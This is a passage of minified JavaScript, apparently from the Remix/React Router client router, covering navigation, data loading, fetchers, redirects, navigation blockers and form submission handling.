0),B||F===m.Pop||(F===m.Push?e.history.push(t,t.state):F===m.Replace&&e.history.replace(t,t.state)),F===m.Pop){let e=$.get(D.location.pathname);e&&e.has(t.pathname)?y={currentLocation:D.location,nextLocation:t}:$.has(t.pathname)&&(y={currentLocation:t,nextLocation:D.location})}else if(z){let e=$.get(D.location.pathname);e?e.add(t.pathname):(e=new Set([t.pathname]),$.set(D.location.pathname,e)),y={currentLocation:D.location,nextLocation:t}}xe(p({},r,{actionData:i,loaderData:d,historyAction:F,location:t,initialized:!0,navigation:ne,revalidation:"idle",restoreScrollPosition:dt(t,r.matches||D.matches),preventScrollReset:h,blockers:f}),{viewTransitionOpts:y,flushSync:!0===l}),F=m.Pop,j=!1,z=!1,B=!1,H=!1,V=[]}async function Te(t,r,n){M&&M.abort(),M=null,F=t,B=!0===(n&&n.startUninterruptedRevalidation),function(e,t){if(P&&O){let r=ut(e,t);P[r]=O()}}(D.location,D.matches),j=!0===(n&&n.preventScrollReset),z=!0===(n&&n.enableViewTransition);let a=s||c,o=n&&n.overrideNavigation,i=k(a,r,u),l=!0===(n&&n.flushSync),d=pt(i,a,r.pathname);if(d.active&&d.matches&&(i=d.matches),!i){let{error:e,notFoundMatches:t,route:n}=it(r.pathname);return void Se(r,{matches:t,loaderData:{},errors:{[n.id]:e}},{flushSync:l})}if(D.initialized&&!H&&(f=D.location,y=r,f.pathname===y.pathname&&f.search===y.search&&(""===f.hash?""!==y.hash:f.hash===y.hash||""!==y.hash))&&!(n&&n.submission&&je(n.submission.formMethod)))return void Se(r,{matches:i},{flushSync:l});var f,y;M=new AbortController;let h,v=Ee(e.history,r,M.signal,n&&n.submission);if(n&&n.pendingError)h=[Ce(i).route.id,{type:x.error,error:n.pendingError}];else if(n&&n.submission&&je(n.submission.formMethod)){let t=await async function(e,t,r,n,a,s){void 0===s&&(s={}),Ye();let o,i=function(e,t){return{state:"submitting",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}}(t,r);if(xe({navigation:i},{flushSync:!0===s.flushSync}),a){let r=await mt(n,t.pathname,e.signal);if("aborted"===r.type)return{shortCircuited:!0};if("error"===r.type){let{boundaryId:e,error:n}=lt(t.pathname,r);return{matches:r.partialMatches,pendingActionResult:[e,{type:x.error,error:n}]}}if(!r.matches){let{notFoundMatches:e,error:r,route:n}=it(t.pathname);return{matches:e,pendingActionResult:[n.id,{type:x.error,error:r}]}}n=r.matches}let l=Be(n,t);if(l.route.action||l.route.lazy){if(o=(await qe("action",D,e,[l],n,null))[l.route.id],e.signal.aborted)return{shortCircuited:!0}}else o={type:x.error,error:Ne(405,{method:e.method,pathname:t.pathname,routeId:l.route.id})};if(Ae(o)){let t;return t=s&&null!=s.replace?s.replace:we(o.response.headers.get("Location"),new URL(e.url),u)===D.location.pathname+D.location.search,await Fe(e,o,!0,{submission:r,replace:t}),{shortCircuited:!0}}if(Ie(o))throw Ne(400,{type:"defer-action"});if(Me(o)){let e=Ce(n,l.route.id);return!0!==(s&&s.replace)&&(F=m.Push),{matches:n,pendingActionResult:[e.route.id,o]}}return{matches:n,pendingActionResult:[l.route.id,o]}}(v,r,n.submission,i,d.active,{replace:n.replace,flushSync:l});if(t.shortCircuited)return;if(t.pendingActionResult){let[e,n]=t.pendingActionResult;if(Me(n)&&K(n.error)&&404===n.error.status)return M=null,void Se(r,{matches:t.matches,loaderData:{},errors:{[e]:n.error}})}i=t.matches||i,h=t.pendingActionResult,o=Ve(r,n.submission),l=!1,d.active=!1,v=Ee(e.history,v.url,v.signal)}let{shortCircuited:b,matches:w,loaderData:E,errors:S}=await async function(t,r,n,a,o,i,l,d,m,f,y){let h=o||Ve(r,i),v=i||l||He(h),b=!(B||g.v7_partialHydration&&m);if(a){if(b){let e=De(y);xe(p({navigation:h},void 0!==e?{actionData:e}:{}),{flushSync:f})}let e=await mt(n,r.pathname,t.signal);if("aborted"===e.type)return{shortCircuited:!0};if("error"===e.type){let{boundaryId:t,error:n}=lt(r.pathname,e);return{matches:e.partialMatches,loaderData:{},errors:{[t]:n}}}if(!e.matches){let{error:e,notFoundMatches:t,route:n}=it(r.pathname);return{matches:t,loaderData:{},errors:{[n.id]:e}}}n=e.matches}let w=s||c,[E,x]=pe(e.history,D,n,v,r,g.v7_partialHydration&&!0===m,g.v7_skipActionErrorRevalidation,H,V,Z,te,X,Q,w,u,y);if(ct((e=>!(n&&n.some((t=>t.route.id===e)))||E&&E.some((t=>t.route.id===e)))),Y=++G,0===E.length&&0===x.length){let e=rt();return Se(r,p({matches:n,loaderData:{},errors:y&&Me(y[1])?{[y[0]]:y[1].error}:null},Re(y),e?{fetchers:new Map(D.fetchers)}:{}),{flushSync:f}),{shortCircuited:!0}}if(b){let e={};if(!a){e.navigation=h;let t=De(y);void 0!==t&&(e.actionData=t)}x.length>0&&(e.fetchers=function(e){return e.forEach((e=>{let t=D.fetchers.get(e.key),r=Ze(void 0,t?t.data:void 0);D.fetchers.set(e.key,r)})),new Map(D.fetchers)}(x)),xe(e,{flushSync:f})}x.forEach((e=>{W.has(e.key)&&et(e.key),e.controller&&W.set(e.key,e.controller)}));let S=()=>x.forEach((e=>et(e.key)));M&&M.signal.addEventListener("abort",S);let{loaderResults:_,fetcherResults:k}=await Ge(D,n,E,x,t);if(t.signal.aborted)return{shortCircuited:!0};M&&M.signal.removeEventListener("abort",S),x.forEach((e=>W.delete(e.key)));let R=Oe(_);if(R)return await Fe(t,R.result,!0,{replace:d}),{shortCircuited:!0};if(R=Oe(k),R)return Q.add(R.key),await Fe(t,R.result,!0,{replace:d}),{shortCircuited:!0};let{loaderData:C,errors:P}=_e(D,n,0,_,y,x,k,ce);ce.forEach(((e,t)=>{e.subscribe((r=>{(r||e.done)&&ce.delete(t)}))})),g.v7_partialHydration&&m&&D.errors&&Object.entries(D.errors).filter((e=>{let[t]=e;return!E.some((e=>e.route.id===t))})).forEach((e=>{let[t,r]=e;P=Object.assign(P||{},{[t]:r})}));let N=rt(),O=nt(Y),T=N||O||x.length>0;return p({matches:n,loaderData:C,errors:P},T?{fetchers:new Map(D.fetchers)}:{})}(v,r,i,d.active,o,n&&n.submission,n&&n.fetcherSubmission,n&&n.replace,n&&!0===n.initialHydration,l,h);b||(M=null,Se(r,p({matches:w||i},Re(h),{loaderData:E,errors:S})))}function De(e){return e&&!Me(e[1])?{[e[0]]:e[1].data}:D.actionData?0===Object.keys(D.actionData).length?null:D.actionData:void 0}async function Fe(n,a,s,o){let{submission:i,fetcherSubmission:l,replace:c}=void 0===o?{}:o;a.response.headers.has("X-Remix-Revalidate")&&(H=!0);let d=a.response.headers.get("Location");y(d,"Expected a Location header on the redirect Response"),d=we(d,new URL(n.url),u);let f=v(D.location,d,{_isRedirect:!0});if(r){let r=!1;if(a.response.headers.has("X-Remix-Reload-Document"))r=!0;else if(oe.test(d)){const n=e.history.createURL(d);r=n.origin!==t.location.origin||null==U(n.pathname,u)}if(r)return void(c?t.location.replace(d):t.location.assign(d))}M=null;let h=!0===c||a.response.headers.has("X-Remix-Replace")?m.Replace:m.Push,{formMethod:g,formAction:b,formEncType:w}=D.navigation;!i&&!l&&g&&b&&w&&(i=He(D.navigation));let E=i||l;if(re.has(a.response.status)&&E&&je(E.formMethod))await Te(h,f,{submission:p({},E,{formAction:d}),preventScrollReset:j,enableViewTransition:s?z:void 0});else{let e=Ve(f,i);await Te(h,f,{overrideNavigation:e,fetcherSubmission:l,preventScrollReset:j,enableViewTransition:s?z:void 0})}}async function qe(e,t,r,n,s,o){let i,c={};try{i=await async function(e,t,r,n,a,s,o,i,l,c){let u=s.map((e=>e.route.lazy?async function(e,t,r){if(!e.lazy)return;let n=await e.lazy();if(!e.lazy)return;let a=r[e.id];y(a,"No route found in manifest");let s={};for(let e in n){let t=void 0!==a[e]&&"hasErrorBoundary"!==e;h(!t,'Route "'+a.id+'" has a static property "'+e+'" defined but its lazy function is also returning a value for this property. The lazy route property "'+e+'" will be ignored.'),t||S.has(e)||(s[e]=n[e])}Object.assign(a,s),Object.assign(a,p({},t(a),{lazy:void 0}))}(e.route,l,i):void 0)),d=s.map(((e,r)=>{let s=u[r],o=a.some((t=>t.route.id===e.route.id));return p({},e,{shouldLoad:o,resolve:async r=>(r&&"GET"===n.method&&(e.route.lazy||e.route.loader)&&(o=!0),o?async function(e,t,r,n,a,s){let o,i,l=n=>{let o,l=new Promise(((e,t)=>o=t));i=()=>o(),t.signal.addEventListener("abort",i);let c=a=>"function"!=typeof n?Promise.reject(new Error('You cannot call the handler for a route which defines a boolean "'+e+'" [routeId: '+r.route.id+"]")):n({request:t,params:r.params,context:s},...void 0!==a?[a]:[]),u=(async()=>{try{return{type:"data",result:await(a?a((e=>c(e))):c())}}catch(e){return{type:"error",result:e}}})();return Promise.race([u,l])};try{let a=r.route[e];if(n)if(a){let e,[t]=await Promise.all([l(a).catch((t=>{e=t})),n]);if(void 0!==e)throw e;o=t}else{if(await n,a=r.route[e],!a){if("action"===e){let e=new URL(t.url),n=e.pathname+e.search;throw Ne(405,{method:t.method,pathname:n,routeId:r.route.id})}return{type:x.data,result:void 0}}o=await l(a)}else{if(!a){let e=new URL(t.url);throw Ne(404,{pathname:e.pathname+e.search})}o=await l(a)}y(void 0!==o.result,"You defined "+("action"===e?"an action":"a loader")+' for route "'+r.route.id+"\" but didn't return anything from your `"+e+"` function. Please return a value or `null`.")}catch(e){return{type:x.error,result:e}}finally{i&&t.signal.removeEventListener("abort",i)}return o}(t,n,e,s,r,c):Promise.resolve({type:x.data,result:void 0}))})})),m=await e({matches:d,request:n,params:s[0].params,fetcherKey:o,context:c});try{await Promise.all(u)}catch(e){}return m}(d,e,0,r,n,s,o,l,a)}catch(e){return n.forEach((t=>{c[t.route.id]={type:x.error,error:e}})),c}for(let[e,t]of Object.entries(i))if(Le(t)){let n=t.result;c[e]={type:x.redirect,response:be(n,r,e,s,u,g.v7_relativeSplatPath)}}else c[e]=await ve(t);return c}async function Ge(t,r,n,a,s){let o=t.matches,i=qe("loader",0,s,n,r,null),l=Promise.all(a.map((async t=>{if(t.matches&&t.match&&t.controller){let r=(await qe("loader",0,Ee(e.history,t.path,t.controller.signal),[t.match],t.matches,t.key))[t.match.route.id];return{[t.key]:r}}return Promise.resolve({[t.key]:{type:x.error,error:Ne(404,{pathname:t.path})}})}))),c=await i,u=(await l).reduce(((e,t)=>Object.assign(e,t)),{});return await Promise.all([ze(r,c,s.signal,o,t.loaderData),Ue(r,u,a)]),{loaderResults:c,fetcherResults:u}}function Ye(){H=!0,V.push(...ct()),X.forEach(((e,t)=>{W.has(t)&&(Z.add(t),et(t))}))}function Ke(e,t,r){void 0===r&&(r={}),D.fetchers.set(e,t),xe({fetchers:new Map(D.fetchers)},{flushSync:!0===(r&&r.flushSync)})}function Je(e,t,r,n){void 0===n&&(n={});let a=Ce(D.matches,t);Xe(e),xe({errors:{[a.route.id]:r},fetchers:new Map(D.fetchers)},{flushSync:!0===(n&&n.flushSync)})}function Qe(e){return g.v7_fetcherPersist&&(ee.set(e,(ee.get(e)||0)+1),te.has(e)&&te.delete(e)),D.fetchers.get(e)||ae}function Xe(e){let t=D.fetchers.get(e);!W.has(e)||t&&"loading"===t.state&&J.has(e)||et(e),X.delete(e),J.delete(e),Q.delete(e),te.delete(e),Z.delete(e),D.fetchers.delete(e)}function et(e){let t=W.get(e);y(t,"Expected fetch controller: "+e),t.abort(),W.delete(e)}function tt(e){for(let t of e){let e=We(Qe(t).data);D.fetchers.set(t,e)}}function rt(){let e=[],t=!1;for(let r of Q){let n=D.fetchers.get(r);y(n,"Expected fetcher: "+r),"loading"===n.state&&(Q.delete(r),e.push(r),t=!0)}return tt(e),t}function nt(e){let t=[];for(let[r,n]of J)if(n<e){let e=D.fetchers.get(r);y(e,"Expected fetcher: "+r),"loading"===e.state&&(et(r),J.delete(r),t.push(r))}return tt(t),t.length>0}function at(e){D.blockers.delete(e),me.delete(e)}function st(e,t){let r=D.blockers.get(e)||se;y("unblocked"===r.state&&"blocked"===t.state||"blocked"===r.state&&"blocked"===t.state||"blocked"===r.state&&"proceeding"===t.state||"blocked"===r.state&&"unblocked"===t.state||"proceeding"===r.state&&"unblocked"===t.state,"Invalid blocker state transition: "+r.state+" -> "+t.state);let n=new Map(D.blockers);n.set(e,t),xe({blockers:n})}function ot(e){let{currentLocation:t,nextLocation:r,historyAction:n}=e;if(0===me.size)return;me.size>1&&h(!1,"A router only supports one blocker at a time");let a=Array.from(me.entries()),[s,o]=a[a.length-1],i=D.blockers.get(s);return i&&"proceeding"===i.state?void 0:o({currentLocation:t,nextLocation:r,historyAction:n})?s:void 0}function it(e){let t=Ne(404,{pathname:e}),r=s||c,{matches:n,route:a}=Pe(r);return ct(),{notFoundMatches:n,route:a,error:t}}function lt(e,t){return{boundaryId:Ce(t.partialMatches).route.id,error:Ne(400,{type:"route-discovery",pathname:e,message:null!=t.error&&"message"in t.error?t.error:String(t.error)})}}function ct(e){let t=[];return ce.forEach(((r,n)=>{e&&!e(n)||(r.cancel(),t.push(n),ce.delete(n))})),t}function ut(e,t){return N&&N(e,t.map((e=>function(e,t){let{route:r,pathname:n,params:a}=e;return{id:r.id,pathname:n,params:a,data:t[r.id],handle:r.handle}}(e,D.loaderData))))||e.key}function dt(e,t){if(P){let r=ut(e,t),n=P[r];if("number"==typeof n)return n}return null}function pt(e,t,r){if(f){if(C.has(r))return{active:!1,matches:e};if(!e)return{active:!0,matches:R(t,r,u,!0)||[]};if(Object.keys(e[0].params).length>0)return{active:!0,matches:R(t,r,u,!0)}}return{active:!1,matches:null}}async function mt(e,t,r){let n=e;for(;;){let e=null==s,o=s||c;try{await ye(f,t,n,o,l,a,fe,r)}catch(e){return{type:"error",error:e,partialMatches:n}}finally{e&&(c=[...c])}if(r.aborted)return{type:"aborted"};let i=k(o,t,u);if(i)return ft(t,C),{type:"success",matches:i};let d=R(o,t,u,!0);if(!d||n.length===d.length&&n.every(((e,t)=>e.route.id===d[t].route.id)))return ft(t,C),{type:"success",matches:null};n=d}}function ft(e,t){if(t.size>=E){let e=t.values().next().value;t.delete(e)}t.add(e)}return i={get basename(){return u},get future(){return g},get state(){return D},get routes(){return c},get window(){return t},initialize:function(){if(b=e.history.listen((t=>{let{action:r,location:n,delta:a}=t;if(A)return A(),void(A=void 0);h(0===me.size||null!=a,"You are trying to use a blocker on a POP navigation to a location that was not created by @remix-run/router. This will fail silently in production. This can happen if you are navigating outside the router via `window.history.pushState`/`window.location.hash` instead of using router navigation APIs.  This can also happen if you are using createHashRouter and the user manually changes the URL.");let s=ot({currentLocation:D.location,nextLocation:n,historyAction:r});if(s&&null!=a){let t=new Promise((e=>{A=e}));return e.history.go(-1*a),void st(s,{state:"blocked",location:n,proceed(){st(s,{state:"proceeding",proceed:void 0,reset:void 0,location:n}),t.then((()=>e.history.go(a)))},reset(){let e=new Map(D.blockers);e.set(s,se),xe({blockers:e})}})}return Te(r,n)})),r){!function(e,t){try{let r=e.sessionStorage.getItem(le);if(r){let e=JSON.parse(r);for(let[r,n]of Object.entries(e||{}))n&&Array.isArray(n)&&t.set(r,new Set(n||[]))}}catch(e){}}(t,$);let e=()=>function(e,t){if(t.size>0){let r={};for(let[e,n]of t)r[e]=[...n];try{e.sessionStorage.setItem(le,JSON.stringify(r))}catch(e){h(!1,"Failed to save applied view transitions in sessionStorage ("+e+").")}}}(t,$);t.addEventListener("pagehide",e),q=()=>t.removeEventListener("pagehide",e)}return D.initialized||Te(m.Pop,D.location,{initialHydration:!0}),i},subscribe:function(e){return w.add(e),()=>w.delete(e)},enableScrollRestoration:function(e,t,r){if(P=e,O=t,N=r||null,!T&&D.navigation===ne){T=!0;let e=dt(D.location,D.matches);null!=e&&xe({restoreScrollPosition:e})}return()=>{P=null,O=null,N=null}},navigate:async function t(r,n){if("number"==typeof r)return void e.history.go(r);let a=ue(D.location,D.matches,u,g.v7_prependBasename,r,g.v7_relativeSplatPath,null==n?void 0:n.fromRouteId,null==n?void 0:n.relative),{path:s,submission:o,error:i}=de(g.v7_normalizeFormMethod,!1,a,n),l=D.location,c=v(D.location,s,n&&n.state);c=p({},c,e.history.encodeLocation(c));let d=n&&null!=n.replace?n.replace:void 0,f=m.Push;!0===d?f=m.Replace:!1===d||null!=o&&je(o.formMethod)&&o.formAction===D.location.pathname+D.location.search&&(f=m.Replace);let y=n&&"preventScrollReset"in n?!0===n.preventScrollReset:void 0,h=!0===(n&&n.unstable_flushSync),b=ot({currentLocation:l,nextLocation:c,historyAction:f});if(!b)return await Te(f,c,{submission:o,pendingError:i,preventScrollReset:y,replace:n&&n.replace,enableViewTransition:n&&n.unstable_viewTransition,flushSync:h});st(b,{state:"blocked",location:c,proceed(){st(b,{state:"proceeding",proceed:void 0,reset:void 0,location:c}),t(r,n)},reset(){let e=new Map(D.blockers);e.set(b,se),xe({blockers:e})}})},fetch:function(t,r,a,o){if(n)throw new Error("router.fetch() was called during the server render, but it shouldn't be. You are likely calling a useFetcher() method in the body of your component. Try moving it to a useEffect or a callback.");W.has(t)&&et(t);let i=!0===(o&&o.unstable_flushSync),l=s||c,d=ue(D.location,D.matches,u,g.v7_prependBasename,a,g.v7_relativeSplatPath,r,null==o?void 0:o.relative),p=k(l,d,u),m=pt(p,l,d);if(m.active&&m.matches&&(p=m.matches),!p)return void Je(t,r,Ne(404,{pathname:d}),{flushSync:i});let{path:f,submission:h,error:v}=de(g.v7_normalizeFormMethod,!0,d,o);if(v)return void Je(t,r,v,{flushSync:i});let b=Be(p,f);j=!0===(o&&o.preventScrollReset),h&&je(h.formMethod)?async function(t,r,n,a,o,i,l,d){function p(e){if(!e.route.action&&!e.route.lazy){let e=Ne(405,{method:d.formMethod,pathname:n,routeId:r});return Je(t,r,e,{flushSync:l}),!0}return!1}if(Ye(),X.delete(t),!i&&p(a))return;let m=D.fetchers.get(t);Ke(t,function(e,t){return{state:"submitting",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t?t.data:void 0}}(d,m),{flushSync:l});let f=new AbortController,h=Ee(e.history,n,f.signal,d);if(i){let e=await mt(o,n,h.signal);if("aborted"===e.type)return;if("error"===e.type){let{error:a}=lt(n,e);return void Je(t,r,a,{flushSync:l})}if(!e.matches)return void Je(t,r,Ne(404,{pathname:n}),{flushSync:l});if(p(a=Be(o=e.matches,n)))return}W.set(t,f);let v=G,b=(await qe("action",0,h,[a],o,t))[a.route.id];if(h.signal.aborted)return void(W.get(t)===f&&W.delete(t));if(g.v7_fetcherPersist&&te.has(t)){if(Ae(b)||Me(b))return void Ke(t,We(void 0))}else{if(Ae(b))return W.delete(t),Y>v?void Ke(t,We(void 0)):(Q.add(t),Ke(t,Ze(d)),Fe(h,b,!1,{fetcherSubmission:d}));if(Me(b))return void Je(t,r,b.error)}if(Ie(b))throw Ne(400,{type:"defer-action"});let w=D.navigation.location||D.location,E=Ee(e.history,w,f.signal),x=s||c,S="idle"!==D.navigation.state?k(x,D.navigation.location,u):D.matches;y(S,"Didn't find any matches after fetcher action");let _=++G;J.set(t,_);let R=Ze(d,b.data);D.fetchers.set(t,R);let[C,P]=pe(e.history,D,S,d,w,!1,g.v7_skipActionErrorRevalidation,H,V,Z,te,X,Q,x,u,[a.route.id,b]);P.filter((e=>e.key!==t)).forEach((e=>{let t=e.key,r=D.fetchers.get(t),n=Ze(void 0,r?r.data:void 0);D.fetchers.set(t,n),W.has(t)&&et(t),e.controller&&W.set(t,e.controller)})),xe({fetchers:new Map(D.fetchers)});let N=()=>P.forEach((e=>et(e.key)));f.signal.addEventListener("abort",N);let{loaderResults:O,fetcherResults:T}=await Ge(D,S,C,P,E);if(f.signal.aborted)return;f.signal.removeEventListener("abort",N),J.delete(t),W.delete(t),P.forEach((e=>W.delete(e.key)));let L=Oe(O);if(L)return Fe(E,L.result,!1);if(L=Oe(T),L)return Q.add(L.key),Fe(E,L.result,!1);let{loaderData:I,errors:A}=_e(D,S,0,O,void 0,P,T,ce);if(D.fetchers.has(t)){let e=We(b.data);D.fetchers.set(t,e)}nt(_),"loading"===D.navigation.state&&_>Y?(y(F,"Expected pending action"),M&&M.abort(),Se(D.navigation.location,{matches:S,loaderData:I,errors:A,fetchers:new Map(D.fetchers)})):(xe({errors:A,loaderData:ke(D.loaderData,I,S,A),fetchers:new Map(D.fetchers)}),H=!1)}(t,r,f,b,p,m.active,i,h):(X.set(t,{routeId:r,path:f}),async function(t,r,n,a,s,o,i,l){let c=D.fetchers.get(t);Ke(t,Ze(l,c?c.data:void 0),{flushSync:i});let u=new AbortController,d=Ee(e.history,n,u.signal);if(o){let e=await mt(s,n,d.signal);if("aborted"===e.type)return;if("error"===e.type){let{error:a}=lt(n,e);return void Je(t,r,a,{flushSync:i})}if(!e.matches)return void Je(t,r,Ne(404,{pathname:n}),{flushSync:i});a=Be(s=e.matches,n)}W.set(t,u);let p=G,m=(await qe("loader",0,d,[a],s,t))[a.route.id];if(Ie(m)&&(m=await $e(m,d.signal,!0)||m),W.get(t)===u&&W.delete(t),!d.signal.aborted){if(!te.has(t))return Ae(m)?Y>p?void Ke(t,We(void 0)):(Q.add(t),void await Fe(d,m,!1)):void(Me(m)?Je(t,r,m.error):(y(!Ie(m),"Unhandled fetcher deferred data"),Ke(t,We(m.data))));Ke(t,We(void 0))}}(t,r,f,b,p,m.active,i,h))},revalidate:function(){Ye(),xe({revalidation:"loading"}),"submitting"!==D.navigation.state&&("idle"!==D.navigation.state?Te(F||D.historyAction,D.navigation.location,{overrideNavigation:D.navigation,enableViewTransition:!0===z}):Te(D.historyAction,D.location,{startUninterruptedRevalidation:!0}))},createHref:t=>e.history.createHref(t),encodeLocation:t=>e.history.encodeLocation(t),getFetcher:Qe,deleteFetcher:function(e){if(g.v7_fetcherPersist){let t=(ee.get(e)||0)-1;t<=0?(ee.delete(e),te.add(e)):ee.set(e,t)}else Xe(e);xe({fetchers:new Map(D.fetchers)})},dispose:function(){b&&b(),q&&q(),w.clear(),M&&M.abort(),D.fetchers.forEach(((e,t)=>Xe(t))),D.blockers.forEach(((e,t)=>at(t)))},getBlocker:function(e,t){let r=D.blockers.get(e)||se;return me.get(e)!==t&&me.set(e,t),r},deleteBlocker:at,patchRoutes:function(e,t){let r=null==s;he(e,t,s||c,l,a),r&&(c=[...c],xe({}))},_internalFetchControllers:W,_internalActiveDeferreds:ce,_internalSetRoutes:function(e){l={},s=_(e,a,void 0,l)}},i}function ue(e,t,r,n,a,s,o,i){let l,c;if(o){l=[];for(let e of t)if(l.push(e),e.route.id===o){c=e;break}}else l=t,c=t[t.length-1];let u=H(a||".",B(l,s),U(e.pathname,r)||e.pathname,"path"===i);return null==a&&(u.search=e.search,u.hash=e.hash),null!=a&&""!==a&&"."!==a||!c||!c.route.index||qe(u.search)||(u.search=u.search?u.search.replace(/^\?/,"?index&"):"?index"),n&&"/"!==r&&(u.pathname="/"===u.pathname?r:V([r,u.pathname])),b(u)}function de(e,t,r,n){if(!n||!function(e){return null!=e&&("formData"in e&&null!=e.formData||"body"in e&&void 0!==e.body)}(n))return{path:r};if(n.formMethod&&(a=n.formMethod,!ee.has(a.toLowerCase())))return{path:r,error:Ne(405,{method:n.formMethod})};var a;let s,o,i=()=>({path:r,error:Ne(400,{type:"invalid-body"})}),l=n.formMethod||"get",c=e?l.toUpperCase():l.toLowerCase(),u=Te(r);if(void 0!==n.body){if("text/plain"===n.formEncType){if(!je(c))return i();let e="string"==typeof n.body?n.body:n.body instanceof FormData||n.body instanceof URLSearchParams?Array.from(n.body.entries()).reduce(((e,t)=>{let[r,n]=t;return""+e+r+"="+n+"\n"}),""):String(n.body);return{path:r,submission:{formMethod:c,formAction:u,formEncType:n.formEncType,formData:void 0,json:void 0,text:e}}}if("application/json"===n.formEncType){if(!je(c))return i();try{let e="string"==typeof n.body?JSON.parse(n.body):n.body;return{path:r,submission:{formMethod:c,formAction:u,formEncType:n.formEncType,formData:void 0,json:e,text:void 0}}}catch(e){return i()}}}if(y("function"==typeof FormData,"FormData is not available in this environment"),n.formData)s=xe(n.formData),o=n.formData;else if(n.body instanceof FormData)s=xe(n.body),o=n.body;else if(n.body instanceof URLSearchParams)s=n.body,o=Se(s);else if(null==n.body)s=new URLSearchParams,o=new FormData;else try{s=new URLSearchParams(n.body),o=Se(s)}catch(e){return i()}let d={formMethod:c,formAction:u,formEncType:n&&n.formEncType||"application/x-www-form-urlencoded",formData:o,json:void 0,text:void 0};if(je(d.formMethod))return{path:r,submission:d};let p=w(r);return t&&p.search&&qe(p.search)&&s.append("index",""),p.search="?"+s,{path:b(p),submission:d}}function pe(e,t,r,n,a,s,o,i,l,c,u,d,m,f,y,h){let g=h?Me(h[1])?h[1].error:h[1].data:void 0,v=e.createURL(t.location),b=e.createURL(a),w=h&&Me(h[1])?h[0]:void 0,E=w?function(e,t){let r=e;if(t){let n=e.findIndex((e=>e.route.id===t));n>=0&&(r=e.slice(0,n))}return r}(r,w):r,x=h?h[1].statusCode:void 0,S=o&&x&&x>=400,_=E.filter(((e,r)=>{let{route:a}=e;if(a.lazy)return!0;if(null==a.loader)return!1;if(s)return!("function"==typeof a.loader&&!a.loader.hydrate&&(void 0!==t.loaderData[a.id]||t.errors&&void 0!==t.errors[a.id]));if(function(e,t,r){let n=!t||r.route.id!==t.route.id,a=void 0===e[r.route.id];return n||a}(t.loaderData,t.matches[r],e)||l.some((t=>t===e.route.id)))return!0;let o=t.matches[r],c=e;return fe(e,p({currentUrl:v,currentParams:o.params,nextUrl:b,nextParams:c.params},n,{actionResult:g,actionStatus:x,defaultShouldRevalidate:!S&&(i||v.pathname+v.search===b.pathname+b.search||v.search!==b.search||me(o,c))}))})),R=[];return d.forEach(((e,a)=>{if(s||!r.some((t=>t.route.id===e.routeId))||u.has(a))return;let o=k(f,e.path,y);if(!o)return void R.push({key:a,routeId:e.routeId,path:e.path,matches:null,match:null,controller:null});let l=t.fetchers.get(a),d=Be(o,e.path),h=!1;m.has(a)?h=!1:c.has(a)?(c.delete(a),h=!0):h=l&&"idle"!==l.state&&void 0===l.data?i:fe(d,p({currentUrl:v,currentParams:t.matches[t.matches.length-1].params,nextUrl:b,nextParams:r[r.length-1].params},n,{actionResult:g,actionStatus:x,defaultShouldRevalidate:!S&&i})),h&&R.push({key:a,routeId:e.routeId,path:e.path,matches:o,match:d,controller:new AbortController})})),[_,R]}function me(e,t){let r=e.route.path;return e.pathname!==t.pathname||null!=r&&r.endsWith("*")&&e.params["*"]!==t.params["*"]}function fe(e,t){if(e.route.shouldRevalidate){let r=e.route.shouldRevalidate(t);if("boolean"==typeof r)return r}return t.defaultShouldRevalidate}async function ye(e,t,r,n,a,s,o,i){let l=[t,...r.map((e=>e.route.id))].join("-");try{let u=o.get(l);u||(u=e({path:t,matches:r,patch:(e,t)=>{i.aborted||he(e,t,n,a,s)}}),o.set(l,u)),u&&"object"==typeof(c=u)&&null!=c&&"then"in c&&await u}finally{o.delete(l)}var c}function he(e,t,r,n,a){if(e){var s;let r=n[e];y(r,"No route found to patch children into: routeId = "+e);let o=_(t,a,[e,"patch",String((null==(s=r.children)?void 0:s.length)||"0")],n);r.children?r.children.push(...o):r.children=o}else{let e=_(t,a,["patch",String(r.length||"0")],n);r.push(...e)}}async function ge(e){let{matches:t}=e,r=t.filter((e=>e.shouldLoad));return(await Promise.all(r.map((e=>e.resolve())))).reduce(((e,t,n)=>Object.assign(e,{[r[n].route.id]:t})),{})}async function ve(e){let{result:t,type:r}=e;if(Fe(t)){let e;try{let r=t.headers.get("Content-Type");e=r&&/\bapplication\/json\b/.test(r)?null==t.body?null:await t.json():await t.text()}catch(e){return{type:x.error,error:e}}return r===x.error?{type:x.error,error:new Y(t.status,t.statusText,e),statusCode:t.status,headers:t.headers}:{type:x.data,data:e,statusCode:t.status,headers:t.headers}}if(r===x.error){if(De(t)){var n,a;if(t.data instanceof Error)return{type:x.error,error:t.data,statusCode:null==(a=t.init)?void 0:a.status};t=new Y((null==(n=t.init)?void 0:n.status)||500,void 0,t.data)}return{type:x.error,error:t,statusCode:K(t)?t.status:void 0}}var s,o,i,l;return function(e){let t=e;return t&&"object"==typeof t&&"object"==typeof t.data&&"function"==typeof t.subscribe&&"function"==typeof t.cancel&&"function"==typeof t.resolveData}(t)?{type:x.deferred,deferredData:t,statusCode:null==(s=t.init)?void 0:s.status,headers:(null==(o=t.init)?void 0:o.headers)&&new Headers(t.init.headers)}:De(t)?{type:x.data,data:t.data,statusCode:null==(i=t.init)?void 0:i.status,headers:null!=(l=t.init)&&l.headers?new Headers(t.init.headers):void 0}:{type:x.data,data:t}}function be(e,t,r,n,a,s){let o=e.headers.get("Location");if(y(o,"Redirects returned/thrown from loaders/actions must have a Location header"),!oe.test(o)){let i=n.slice(0,n.findIndex((e=>e.route.id===r))+1);o=ue(new URL(t.url),i,a,!0,o,s),e.headers.set("Location",o)}return e}function we(e,t,r){if(oe.test(e)){let n=e,a=n.startsWith("//")?new URL(t.protocol+n):new URL(n),s=null!=U(a.pathname,r);if(a.origin===t.origin&&s)return a.pathname+a.search+a.hash}return e}function Ee(e,t,r,n){let a=e.createURL(Te(t)).toString(),s={signal:r};if(n&&je(n.formMethod)){let{formMethod:e,formEncType:t}=n;s.method=e.toUpperCase(),"application/json"===t?(s.headers=new Headers({"Content-Type":t}),s.body=JSON.stringify(n.json)):"text/plain"===t?s.body=n.text:"application/x-www-form-urlencoded"===t&&n.formData?s.body=xe(n.formData):s.body=n.formData}return new Request(a,s)}function xe(e){let t=new URLSearchParams;for(let[r,n]of e.entries())t.append(r,"string"==typeof n?n:n.name);return t}function Se(e){let t=new FormData;for(let[r,n]of e.entries())t.append(r,n);return t}function 